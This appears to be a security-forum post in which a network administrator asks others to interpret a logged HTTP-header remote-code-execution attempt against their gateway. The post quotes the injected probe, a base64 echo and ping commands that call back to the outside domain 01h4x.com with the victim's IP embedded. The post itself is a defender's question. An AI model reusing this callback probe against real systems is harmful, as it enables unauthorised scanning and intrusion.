Hi everyone,
I hope someone cares to learn me what was tried in this http header remote code execution and that others also can learn from this analyze.
Here is an example of the log:
![image.png image.png](https://community.checkpoint.com/t5/image/serverpage/image-id/10211i8CF6DCE4E5343E9B/image-size/large?v=v2&px=999)
The blurred info in the following image contains the external IP of my gateway:
![image.png image.png](https://community.checkpoint.com/t5/image/serverpage/image-id/10212i1161DEA96C7C4533/image-size/large?v=v2&px=999)
Here is the capture opened in Wireshark: Notice that all the blurred fields contain the same external IP-address as above
![image.png image.png](https://community.checkpoint.com/t5/image/serverpage/image-id/10213iAFB0F66E0BE267FC/image-size/large?v=v2&px=999)
So this is what I understand.
echo aaaaaaaaaaa | base64 results to encoding the text aaa... to base64 which gives the result YWFhYWFhYWFhYWEK
So all these tests will result to these:
ping YWFhYWFhYWFhYWEK-inject1-(my external IP).01h4x.com
ping YWFhYWFhYWFhYWEK-inject2-(my external IP).01h4x.com
ping YWFhYWFhYWFhYWEK-inject3-(my external IP).01h4x.com
ping YWFhYWFhYWFhYWEK-inject4-(my external IP).01h4x.com
Since they use inject1, inject2, inject3 and inject4, does it mean they are trying to see which http header field it's possible to inject to? Meaning inject1 will mean it worked by using Cookie field?
But maybe more important that they managed to run the code "echo aaaaaaaaaa | base64" on the system as a test for further/later attacks? And also by including the external IP-address that they know which servers on the Internet is vulnerable and pinging back to the domain 01h4x.com?
Maybe I'm tottaly wrong but I hope someone cares to explain.